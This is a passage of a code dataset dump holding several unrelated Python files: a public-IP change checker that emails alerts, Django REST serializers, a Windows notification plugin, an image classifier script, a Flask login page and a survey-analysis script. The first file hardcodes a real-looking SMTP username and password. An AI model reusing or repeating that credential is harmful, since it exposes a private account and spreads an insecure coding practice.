'Host':'2017.ip138.com',\n                 'Referer':'http://www.ip138.com/',\n                 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0' }    \n    headers = { 'Accept':'text/html,application/xhtml+xm…plication/xml;q=0.9,*/*;q=0.8',\n                'Accept-Encoding':'gzip, deflate',\n                'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',\n                'Connection':'keep-alive',\n                'Host':'www.ip138.com',\n                'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0' }\n    r = requests.get(url,headers=headers,timeout=10)\n    txt = r.text\n    soup = BeautifulSoup(txt,\"html.parser\").iframe\n    url2 = soup[\"src\"]\n    for i in range(1,11):\n        try:\n            r = requests.get(url2,headers=headerss,timeout=10)\n        except requests.exceptions.ConnectionError:\n            print('网站限制访问，请检查头信息')\n            time.sleep(10)\n        else:\n            txt = r.text\n            ip = txt[txt.find(\"[\") + 1: txt.find(\"]\")]\n            return ip\n            break\ndef sendmail(text):\n    From = \"grafana@ciurl.cn\"\n    To = \"wangluxin@corp-ci.com\"\n    server = smtplib.SMTP(\"exmail.ciurl.cn\")\n    server.login(\"grafana@ciurl.cn\",\"asbg123a2\")\n    main_msg = email.MIMEMultipart.MIMEMultipart()\n    text_msg = email.MIMEText.MIMEText(\"新增IP为：\"+' '.join(text).encode(\"utf-8\"),_charset=\"utf-8\")\n    main_msg.attach(text_msg)\n    main_msg['From'] = From\n    main_msg['To'] = To\n    main_msg['Subject'] = \"aliyun外网IP发生变化，超出已掌握的IP_list\"\n    main_msg['Date'] = email.Utils.formatdate( )\n    fullText = main_msg.as_string( )\n    try:\n        server.sendmail(From, To, fullText)\n    finally:\n        server.quit()\ndef check(ipnew):\n    checktime=datetime.datetime.now().strftime('%Y_%m_%d_%H_%M_%S')\n#    ip=get_out_ip()\n    iplist=open(\"IP_list\",\"a+\")\n    IPlist=[];IPnew=[];IPmail=[]\n    for IP in iplist:\n        line = IP.strip()\n        b = re.split(r\" +\",line)\n        IPlist.append(b[-1])\n    if \"101.132.46.255\" not in IPlist:\n        IPnew.append('101.132.46.255')\n    if \"101.132.238.25\" not in IPlist:\n        IPnew.append('101.132.238.25')\n    iplist.close()\n    for x in ipnew:\n        if x not in IPlist and x not in IPnew:\n            IPnew.append(x);IPmail.append(x)\n        if IPnew:\n            for i in IPnew:\n               iplist=open(\"IP_list\",\"a+\")\n               iplist.write(checktime+\"  increase  \"+i+'\\n')\n    if IPmail:\n        sendmail(IPmail)\nif __name__ == '__main__':\n    checktime=datetime.datetime.now().strftime('%Y_%m_%d_%H_%M_%S')\n    ip=get_out_ip()\n    print(ip)\n    iplist=[];iplist.append(ip)\n    check(iplist)\n", "sub_path": "outIP_check/check_mail2.py", "file_name": "check_mail2.py", "file_ext": "py", "file_size_in_byte": 3672, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "requests.get", "line_number": 25, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 27, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 31, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 32, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 34, "usage_type": "call"}, {"api_name": "smtplib.SMTP", "line_number": 43, "usage_type": "call"}, {"api_name": "email.MIMEText.MIMEMultipart.MIMEMultipart", "line_number": 45, "usage_type": "call"}, {"api_name": "email.MIMEText.MIMEMultipart", "line_number": 45, "usage_type": "attribute"}, {"api_name": "email.MIMEText", "line_number": 45, "usage_type": "name"}, {"api_name": "email.MIMEText.MIMEText.MIMEText", "line_number": 46, "usage_type": "call"}, {"api_name": "email.MIMEText.MIMEText", "line_number": 46, "usage_type": "attribute"}, {"api_name": "email.MIMEText", "line_number": 46, "usage_type": "name"}, {"api_name": "email.MIMEText.Utils.formatdate", "line_number": 51, "usage_type": "call"}, {"api_name": "email.MIMEText.Utils", "line_number": 51, "usage_type": "attribute"}, {"api_name": "email.MIMEText", "line_number": 51, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 58, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 58, "usage_type": "attribute"}, {"api_name": "re.split", "line_number": 64, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 81, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 81, "usage_type": "attribute"}]}
+{"seq_id": "492491948", "text": "from django.contrib.auth.models import User\nfrom rest_framework import serializers\nfrom stations.models import Map, Line, Station, Place, Like, Author\n\n\nclass AuthorSerializer(serializers.ModelSerializer):\n    author = serializers.ReadOnlyField(source='author.username')\n\n    class Meta:\n        model = Author\n        fields = ('author', 'pk')\n\n\nclass UserSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = User\n        fields = ('username',)\n\n\nclass LineSerializer(serializers.ModelSerializer):\n    number = serializers.StringRelatedField()\n\n    class Meta:\n        model = Line\n        fields = ('number',)\n\n\nclass LikeSerializer(serializers.ModelSerializer):\n    user = UserSerializer(read_only=True)\n\n    class Meta:\n        model = Like\n        fields = ('user',)\n\n\nclass StationSerializer(serializers.ModelSerializer):\n    # places = PlaceSerializer(many=True, read_only=True)\n\n    class Meta:\n        model = Station\n        fields = ('name', 'line', 'code', 'id',\n                  'translatex', 'translatey', 'rotate')\n\n\nclass PlaceSerializer(serializers.ModelSerializer):\n    likes = LikeSerializer(many=True, read_only=True)\n    station = StationSerializer()\n\n    class Meta:\n        model = Place\n        fields = ('id', 'map', 'content', 'likes', 'get_likes', 'station')\n\n\nclass MapSerializer(serializers.ModelSerializer):\n    author = serializers.StringRelatedField()\n    stations = StationSerializer(many=True)\n    # url = serializers.HyperlinkedIdentityField()\n    # \"id=1\" 대신에 \"url = /api/map/1\" 로 출력하도록\n\n    class Meta:\n        model = Map\n        fields = ('id', 'url', 'title', 'author', 'stations')\n", "sub_path": "stations/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 1661, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 6, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 6, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ReadOnlyField", "line_number": 7, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 7, "usage_type": "name"}, {"api_name": "stations.models.Author", "line_number": 10, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 14, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 14, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User", "line_number": 16, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 20, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 20, "usage_type": "name"}, {"api_name": "rest_framework.serializers.StringRelatedField", "line_number": 21, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 21, "usage_type": "name"}, {"api_name": "stations.models.Line", "line_number": 24, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 28, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 28, "usage_type": "name"}, {"api_name": "stations.models.Like", "line_number": 32, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 36, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 36, "usage_type": "name"}, {"api_name": "stations.models.Station", "line_number": 40, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 45, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 45, "usage_type": "name"}, {"api_name": "stations.models.Place", "line_number": 50, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 54, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 54, "usage_type": "name"}, {"api_name": "rest_framework.serializers.StringRelatedField", "line_number": 55, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 55, "usage_type": "name"}, {"api_name": "stations.models", "line_number": 56, "usage_type": "name"}, {"api_name": "stations.models.Map", "line_number": 61, "usage_type": "name"}]}
+{"seq_id": "77100994", "text": "# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2019 Chris Caron \n# All rights reserved.\n#\n# This code is licensed under the MIT License.\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files(the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and / or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions :\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nfrom __future__ import absolute_import\nfrom __future__ import print_function\n\nfrom time import sleep\n\nfrom .NotifyBase import NotifyBase\nfrom ..common import NotifyImageSize\nfrom ..common import NotifyType\nfrom ..utils import parse_bool\nfrom ..AppriseLocale import gettext_lazy as _\n\n# Default our global support flag\nNOTIFY_WINDOWS_SUPPORT_ENABLED = False\n\ntry:\n    # 3rd party modules (Windows Only)\n    import win32api\n    import win32con\n    import win32gui\n\n    # We're good to go!\n    NOTIFY_WINDOWS_SUPPORT_ENABLED = True\n\nexcept ImportError:\n    # No problem; we just simply can't support this plugin because we're\n    # either using Linux, or simply do not have pywin32 installed.\n    pass\n\n\nclass NotifyWindows(NotifyBase):\n    \"\"\"\n    A wrapper for local Windows Notifications\n    \"\"\"\n\n    # The default descriptive name associated with the Notification\n    service_name = 'Windows Notification'\n\n    # The default protocol\n    protocol = 'windows'\n\n    # A URL that takes you to the setup/help of the specific protocol\n    setup_url = 'https://github.com/caronc/apprise/wiki/Notify_windows'\n\n    # Disable throttle rate for Windows requests since they are normally\n    # local anyway\n    request_rate_per_sec = 0\n\n    # Allows the user to specify the NotifyImageSize object\n    image_size = NotifyImageSize.XY_128\n\n    # Limit results to just the first 2 line otherwise there is just to much\n    # content to display\n    body_max_line_count = 2\n\n    # The number of seconds to display the popup for\n    default_popup_duration_sec = 12\n\n    # This entry is a bit hacky, but it allows us to unit-test this library\n    # in an environment that simply doesn't have the windows packages\n    # available to us.  It also allows us to handle situations where the\n    # packages actually are present but we need to test that they aren't.\n    # If anyone is seeing this had knows a better way of testing this\n    # outside of what is defined in test/test_windows_plugin.py, please\n    # let me know! :)\n    _enabled = NOTIFY_WINDOWS_SUPPORT_ENABLED\n\n    # Define object templates\n    templates = (\n        '{schema}://',\n    )\n\n    # Define our template arguments\n    template_args = dict(NotifyBase.template_args, **{\n        'duration': {\n            'name': _('Duration'),\n            'type': 'int',\n            'min': 1,\n            'default': 12,\n        },\n        'image': {\n            'name': _('Include Image'),\n            'type': 'bool',\n            'default': True,\n            'map_to': 'include_image',\n        },\n    })\n\n    def __init__(self, include_image=True, duration=None, **kwargs):\n        \"\"\"\n        Initialize Windows Object\n        \"\"\"\n\n        super(NotifyWindows, self).__init__(**kwargs)\n\n        # Number of seconds to display notification for\n        self.duration = self.default_popup_duration_sec \\\n            if not (isinstance(duration, int) and duration > 0) else duration\n\n        # Define our handler\n        self.hwnd = None\n\n        # Track whether or not we want to send an image with our notification\n        # or not.\n        self.include_image = include_image\n\n    def _on_destroy(self, hwnd, msg, wparam, lparam):\n        \"\"\"\n        Destroy callback function\n        \"\"\"\n\n        nid = (self.hwnd, 0)\n        win32gui.Shell_NotifyIcon(win32gui.NIM_DELETE, nid)\n        win32api.PostQuitMessage(0)\n\n        return None\n\n    def send(self, body, title='', notify_type=NotifyType.INFO, **kwargs):\n        \"\"\"\n        Perform Windows Notification\n        \"\"\"\n\n        if not self._enabled:\n            self.logger.warning(\n                \"Windows Notifications are not supported by this system; \"\n                \"`pip install pywin32`.\")\n            return False\n\n        # Always call throttle before any remote server i/o is made\n        self.throttle()\n\n        try:\n            # Register destruction callback\n            message_map = {win32con.WM_DESTROY: self._on_destroy, }\n\n            # Register the window class.\n            self.wc = win32gui.WNDCLASS()\n            self.hinst = self.wc.hInstance = win32api.GetModuleHandle(None)\n            self.wc.lpszClassName = str(\"PythonTaskbar\")\n            self.wc.lpfnWndProc = message_map\n            self.classAtom = win32gui.RegisterClass(self.wc)\n\n            # Styling and window type\n            style = win32con.WS_OVERLAPPED | win32con.WS_SYSMENU\n            self.hwnd = win32gui.CreateWindow(\n                self.classAtom, \"Taskbar\", style, 0, 0,\n                win32con.CW_USEDEFAULT, win32con.CW_USEDEFAULT, 0, 0,\n                self.hinst, None)\n            win32gui.UpdateWindow(self.hwnd)\n\n            # image path (if configured to acquire)\n            icon_path = None if not self.include_image \\\n                else self.image_path(notify_type, extension='.ico')\n\n            if icon_path:\n                icon_flags = win32con.LR_LOADFROMFILE | win32con.LR_DEFAULTSIZE\n\n                try:\n                    hicon = win32gui.LoadImage(\n                        self.hinst, icon_path, win32con.IMAGE_ICON, 0, 0,\n                        icon_flags)\n\n                except Exception as e:\n                    self.logger.warning(\n                        \"Could not load windows notification icon ({}): {}\"\n                        .format(icon_path, e))\n\n                    # disable icon\n                    hicon = win32gui.LoadIcon(0, win32con.IDI_APPLICATION)\n            else:\n                # disable icon\n                hicon = win32gui.LoadIcon(0, win32con.IDI_APPLICATION)\n\n            # Taskbar icon\n            flags = win32gui.NIF_ICON | win32gui.NIF_MESSAGE | win32gui.NIF_TIP\n            nid = (self.hwnd, 0, flags, win32con.WM_USER + 20, hicon,\n                   \"Tooltip\")\n            win32gui.Shell_NotifyIcon(win32gui.NIM_ADD, nid)\n            win32gui.Shell_NotifyIcon(win32gui.NIM_MODIFY, (\n                self.hwnd, 0, win32gui.NIF_INFO, win32con.WM_USER + 20, hicon,\n                \"Balloon Tooltip\", body, 200, title))\n\n            # take a rest then destroy\n            sleep(self.duration)\n            win32gui.DestroyWindow(self.hwnd)\n            win32gui.UnregisterClass(self.wc.lpszClassName, None)\n\n            self.logger.info('Sent Windows notification.')\n\n        except Exception:\n            self.logger.warning('Failed to send Windows notification.')\n            self.logger.exception('Windows Exception')\n            return False\n\n        return True\n\n    def url(self, privacy=False, *args, **kwargs):\n        \"\"\"\n        Returns the URL built dynamically based on specified arguments.\n        \"\"\"\n\n        # Define any URL parameters\n        params = {\n            'image': 'yes' if self.include_image else 'no',\n            'duration': str(self.duration),\n        }\n\n        # Extend our parameters\n        params.update(self.url_parameters(privacy=privacy, *args, **kwargs))\n\n        return '{schema}://?{params}'.format(\n            schema=self.protocol,\n            params=NotifyWindows.urlencode(params),\n        )\n\n    @staticmethod\n    def parse_url(url):\n        \"\"\"\n        There are no parameters nessisary for this protocol; simply having\n        windows:// is all you need.  This function just makes sure that\n        is in place.\n\n        \"\"\"\n\n        results = NotifyBase.parse_url(url, verify_host=False)\n\n        # Include images with our message\n        results['include_image'] = \\\n            parse_bool(results['qsd'].get('image', True))\n\n        # Set duration\n        try:\n            results['duration'] = int(results['qsd'].get('duration'))\n\n        except (TypeError, ValueError):\n            # Not a valid integer; ignore entry\n            pass\n\n        # return results\n        return results\n", "sub_path": "apprise/plugins/NotifyWindows.py", "file_name": "NotifyWindows.py", "file_ext": "py", "file_size_in_byte": 8902, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "NotifyBase.NotifyBase", "line_number": 55, "usage_type": "name"}, {"api_name": "common.NotifyImageSize.XY_128", "line_number": 74, "usage_type": "attribute"}, {"api_name": "common.NotifyImageSize", "line_number": 74, "usage_type": "name"}, {"api_name": "NotifyBase.NotifyBase.template_args", "line_number": 98, "usage_type": "attribute"}, {"api_name": "NotifyBase.NotifyBase", "line_number": 98, "usage_type": "name"}, {"api_name": "AppriseLocale.gettext_lazy", "line_number": 100, "usage_type": "call"}, {"api_name": "AppriseLocale.gettext_lazy", "line_number": 106, "usage_type": "call"}, {"api_name": "win32gui.Shell_NotifyIcon", "line_number": 137, "usage_type": "call"}, {"api_name": "win32gui.NIM_DELETE", "line_number": 137, "usage_type": "attribute"}, {"api_name": "win32api.PostQuitMessage", "line_number": 138, "usage_type": "call"}, {"api_name": "common.NotifyType.INFO", "line_number": 142, "usage_type": "attribute"}, {"api_name": "common.NotifyType", "line_number": 142, "usage_type": "name"}, {"api_name": "win32con.WM_DESTROY", "line_number": 158, "usage_type": "attribute"}, {"api_name": "win32gui.WNDCLASS", "line_number": 161, "usage_type": "call"}, {"api_name": "win32api.GetModuleHandle", "line_number": 162, "usage_type": "call"}, {"api_name": "win32gui.RegisterClass", "line_number": 165, "usage_type": "call"}, {"api_name": "win32con.WS_OVERLAPPED", "line_number": 168, "usage_type": "attribute"}, {"api_name": "win32con.WS_SYSMENU", "line_number": 168, "usage_type": "attribute"}, {"api_name": "win32gui.CreateWindow", "line_number": 169, "usage_type": "call"}, {"api_name": "win32con.CW_USEDEFAULT", "line_number": 171, "usage_type": "attribute"}, {"api_name": "win32gui.UpdateWindow", "line_number": 173, "usage_type": "call"}, {"api_name": "win32con.LR_LOADFROMFILE", "line_number": 180, "usage_type": "attribute"}, {"api_name": "win32con.LR_DEFAULTSIZE", "line_number": 180, "usage_type": "attribute"}, {"api_name": "win32gui.LoadImage", "line_number": 183, "usage_type": "call"}, {"api_name": "win32con.IMAGE_ICON", "line_number": 184, "usage_type": "attribute"}, {"api_name": "win32gui.LoadIcon", "line_number": 193, "usage_type": "call"}, {"api_name": "win32con.IDI_APPLICATION", "line_number": 193, "usage_type": "attribute"}, {"api_name": "win32gui.LoadIcon", "line_number": 196, "usage_type": "call"}, {"api_name": "win32con.IDI_APPLICATION", "line_number": 196, "usage_type": "attribute"}, {"api_name": "win32gui.NIF_ICON", "line_number": 199, "usage_type": "attribute"}, {"api_name": "win32gui.NIF_MESSAGE", "line_number": 199, "usage_type": "attribute"}, {"api_name": "win32gui.NIF_TIP", "line_number": 199, "usage_type": "attribute"}, {"api_name": "win32con.WM_USER", "line_number": 200, "usage_type": "attribute"}, {"api_name": "win32gui.Shell_NotifyIcon", "line_number": 202, "usage_type": "call"}, {"api_name": "win32gui.NIM_ADD", "line_number": 202, "usage_type": "attribute"}, {"api_name": "win32gui.Shell_NotifyIcon", "line_number": 203, "usage_type": "call"}, {"api_name": "win32gui.NIM_MODIFY", "line_number": 203, "usage_type": "attribute"}, {"api_name": "win32gui.NIF_INFO", "line_number": 204, "usage_type": "attribute"}, {"api_name": "win32con.WM_USER", "line_number": 204, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 208, "usage_type": "call"}, {"api_name": "win32gui.DestroyWindow", "line_number": 209, "usage_type": "call"}, {"api_name": "win32gui.UnregisterClass", "line_number": 210, "usage_type": "call"}, {"api_name": "NotifyBase.NotifyBase.parse_url", "line_number": 249, "usage_type": "call"}, {"api_name": "NotifyBase.NotifyBase", "line_number": 249, "usage_type": "name"}, {"api_name": "utils.parse_bool", "line_number": 253, "usage_type": "call"}]}
+{"seq_id": "440788352", "text": "from fileImageLoader import  selectFile\nfrom modelGenerator import  TAG_MLP,\\\n    TAG_DENSE_RES_NN,TAG_DENSE_U_NN,\\\n    TAG_CNN, \\\n    TAG_LINEAR\nfrom tensorflow.keras.models import  load_model\nimport  cv2\nimport time\nimport numpy as np\nimport tensorflow.keras.models\nfrom modelGeneratorAugmented import TAG_DENSE_U_NN_AUGMENTOR,\\\n    TAG_LINEAR_AUGMENTOR,\\\n    TAG_MLP_AUGMENTOR,\\\n    TAG_CNN_AUGMENTOR,\\\n    TAG_DENSE_RES_NN_AUGMENTOR\n\n\ndef accueil():\n\n    print(\"===========================\")\n    print(\"==========BIENVENUE=========\")\n    print(\"===========================\\n\")\n\ndef print_result(pred_HotDog, pred_Burger, pred_Pizza, pred_Tacos):\n    print(\"RESULTATS DES PREDICTIONS : \\n\")\n    print(f\"Probabilitée HotDog  : {pred_HotDog} \\n\")\n    print(f\"Probabilitée Burger  : {pred_Burger} \\n\")\n    print(f\"Probabilitée Pizza  : {pred_Pizza} \\n\")\n    print(f\"Probabilitée Tacos  : {pred_Tacos} \\n\")\n\n\nif __name__ == '__main__':\n\n    resolution = (64,64)\n    #=========INSET TAG =========\n    model_name = TAG_MLP\n    #===========================\n    model = load_model(f\"./models/{model_name}\")\n    model.summary()\n    accueil()\n\n    imageFile = selectFile()\n    image = cv2.imread(imageFile)\n\n    try:\n        image = cv2.resize(image, resolution)\n\n    except Exception as e:\n        print(\"Erreur lors du traitement (resize) de l'image\")\n\n    predictions = model.predict(np.expand_dims(image, axis=0))\n\n    prediction_Hotdog, prediction_Burger, prediction_Pizza, prediction_Tacos  = predictions[0]\n\n\n    print(predictions)\n\n    print_result(prediction_Hotdog,\n                 prediction_Burger,\n                 prediction_Pizza,\n                 prediction_Tacos)\n\n\n", "sub_path": "mainClass.py", "file_name": "mainClass.py", "file_ext": "py", "file_size_in_byte": 1681, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "modelGenerator.TAG_MLP", "line_number": 36, "usage_type": "name"}, {"api_name": "tensorflow.keras.models.load_model", "line_number": 38, "usage_type": "call"}, {"api_name": "fileImageLoader.selectFile", "line_number": 42, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 43, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 51, "usage_type": "call"}]}
+{"seq_id": "468039809", "text": "from general.models import system_status\nfrom general.utils.language import config_server_translate as __\n\nfrom config_server.data.flask_dto import UserForm\nfrom config_server.models import (\n\tuser_account\n)\n\nfrom flask import (\n\trender_template,\n\trequest,\n\tflash\n)\n\nfrom flask.ext.login import login_user\n\ndef page():\n\t\"\"\"Hybrid for creating start page and accepting login posts.\"\"\"\n\n\tuser_form = UserForm(request.form)\n\n\tdata = {\n\t\t\"current_page\" : \"home_page\",\n\t\t\"status\" : system_status.retrieve_status(),\n\t\t\"logged_in\" : user_account.is_logged_in(),\n\t\t\"user_name\" : user_account.current_user_name(),\n\t\t\"form\" : user_form\n\t}\n\n\tif request.method == \"GET\":\n\t\treturn render_template(\"home.html\", **data)\n\n\tif not user_form.validate():\n\t\tflash(__(\"Data submitted was not valid\"), \"error\")\n\t\treturn render_template(\"home.html\", **data)\n\t\t\n\tuser = user_account.user_by_form(user_form)\n\n\tif user == None:\n\t\tflash(__(\"Invalid username or password\"), \"error\")\n\t\treturn render_template(\"home.html\", **data)\n\n\tif login_user(user, remember = True):\n\t\tflash(__(\"You have been logged in\"), \"success\")\n\t\tdata[\"logged_in\"] = True\n\t\tdata[\"user_name\"] = user_form.name.data\n\telse:\n\t\tflash(__(\"Could not login\"), \"error\")\n\t\t\n\treturn render_template(\"home.html\", **data)\n", "sub_path": "src/config_server/routes/home.py", "file_name": "home.py", "file_ext": "py", "file_size_in_byte": 1255, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "config_server.data.flask_dto.UserForm", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 20, "usage_type": "name"}, {"api_name": "general.models.system_status.retrieve_status", "line_number": 24, "usage_type": "call"}, {"api_name": "general.models.system_status", "line_number": 24, "usage_type": "name"}, {"api_name": "config_server.models.user_account.is_logged_in", "line_number": 25, "usage_type": "call"}, {"api_name": "config_server.models.user_account", "line_number": 25, "usage_type": "name"}, {"api_name": "config_server.models.user_account.current_user_name", "line_number": 26, "usage_type": "call"}, {"api_name": "config_server.models.user_account", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 30, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 30, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 34, "usage_type": "call"}, {"api_name": "general.utils.language.config_server_translate", "line_number": 34, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 35, "usage_type": "call"}, {"api_name": "config_server.models.user_account.user_by_form", "line_number": 37, "usage_type": "call"}, {"api_name": "config_server.models.user_account", "line_number": 37, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 40, "usage_type": "call"}, {"api_name": "general.utils.language.config_server_translate", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.ext.login.login_user", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 44, "usage_type": "call"}, {"api_name": "general.utils.language.config_server_translate", "line_number": 44, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 48, "usage_type": "call"}, {"api_name": "general.utils.language.config_server_translate", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 50, "usage_type": "call"}]}
+{"seq_id": "461915928", "text": "import json\nimport numpy as np\nimport pandas as pd\nfrom scipy.stats import zscore, pearsonr\n\nfrom fileFuncs import ff\nfrom BlenderStimuli import ramp_shape as shape\n\n\n\n\nAs = [\"Shape\", \"Material\"]\nBs = [\"Density\", \"Friction\"]\n\nCategories = [\"{0!s}-{1!s}\".format(a,b) for b in shape.materials \n\tfor a in shape.materials]\n\n# These serve as the keys for the dataset\n# Each category will contain the responses of each subject for that category\n\ndef create_categories(t):\n\tds = {k : {sub : t() for sub in Categories} for k in Bs}\n\treturn ds\n\n# For each subject, parse their responses into each category\n# source \t: \tPath to stimuli jsons\n# subject_responses : List of subject response files\n\ndef populate_categories(source, subject_responses):\n\ttable = create_categories(dict)\n\tsources = create_sources(source)\n\n\tfor i, subject in enumerate(subject_responses):\n\t\tsubj_cats = create_subject(sources, subject)\n\n\t\t# category\n\t\tfor cat in subj_cats:\n\t\t\t# sub category\n\t\t\tfor sub in subj_cats[cat]:\n\t\t\t\t# update subcategory in the table with subject response\n\t\t\t\tsub_key = \"{0:d}\".format(i)\n\t\t\t\tprev = table[cat][sub]\n\t\t\t\tnew = prev.update({sub_key : subj_cats[cat][sub]})\n\t\t\t\ttable[cat][sub] = prev\n\n\treturn table\n\n# For each possible stimulus, load its parameters\ndef create_sources(path):\n\tsources = ff.find(path, \"*.json\")\n\td = {}\n\tfor source in sources:\n\t\tname = ff.fileBase(source)\n\t\tparameters = extract(source)\n\t\td.update({name : parameters})\n\treturn d\n\n# For each subject, load their ratings for each stimulus\n# and use the extracted sources to obtain the parameter ratings pair\ndef create_subject(sources, file):\n\t\n\tsubj_table = create_categories(lambda : np.array([])) #create_categories(list)  \n\tstims_ratings = load_trial(file)\n\n\tfor index, stim, rating in stims_ratings:\n\t\ttrial = sources[stim]\n\t\t\n\t\tfor cat in Bs:\n\t\t\t# skip trials that are set to mean\n\t\t\tif not (cat == \"Friction\") and (index % 2 == 0):\n\t\t\t\tcontinue\n\t\t\telif not (cat == \"Density\") and (index % 2 == 1):\n\t\t\t\tcontinue\n\t\t\tsub_cat, param = trial[cat]\n\t\t\tprev = subj_table[cat][sub_cat]\n\t\t\tif prev.size == 0:\n\t\t\t\tnew = np.asarray([[*param, rating]])\n\t\t\telse:\n\t\t\t\tnew = np.append(prev, [[*param, rating]], axis=0)\n\t\t\t\n\t\t\tsubj_table[cat][sub_cat] = new\n\t\t\t\n\treturn subj_table\n\ndef load_trial(file):\n\n\tsrc = pd.read_csv(file, names = [\"WID\",\"Stimulus\",\"NatRating\",\"RT\"])\n\tstims = [ff.fileBase(s) for s in src.Stimulus[1:]]\n\tindeces = list(map( lambda x: int(x.split(\"_\")[-1]) , stims))\n\tratings = list(map(int, src.NatRating[1:]))\n\tzscored = list(zscore(ratings))\n\treturn zip(indeces, stims, zscored)\n\n\ndef read_json(file):\n\twith open(file, 'rU') as f:\n\t\tcontent = json.loads(f.read())\n\treturn content\n\ndef extract(file):\n\n\tparams = read_json(file)[\"Objects\"]\n\tf = lambda x, y : params[x][y]\n\tmaterial = lambda x : shape.materials[f(x, \"Material\")]\n\t# shape = lambda x : shape.shapes[f(x, \"Shape\")]\n\tkey = \"{0!s}-{1!s}\".format(material(\"A\"), material(\"B\"))\n\n\td = {}\n\n\tfor cat in Bs:\n\t\tdata = (f(\"A\", cat), f(\"B\", cat))\n\t\td.update({ cat : (key , data) })\n\n\treturn d", "sub_path": "psiturk/analysis/turktable.py", "file_name": "turktable.py", "file_ext": "py", "file_size_in_byte": 3027, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "BlenderStimuli.ramp_shape.materials", "line_number": 15, "usage_type": "attribute"}, {"api_name": "BlenderStimuli.ramp_shape", "line_number": 15, "usage_type": "name"}, {"api_name": "BlenderStimuli.ramp_shape.materials", "line_number": 16, "usage_type": "attribute"}, {"api_name": "BlenderStimuli.ramp_shape", "line_number": 16, "usage_type": "name"}, {"api_name": "fileFuncs.ff.find", "line_number": 50, "usage_type": "call"}, {"api_name": "fileFuncs.ff", 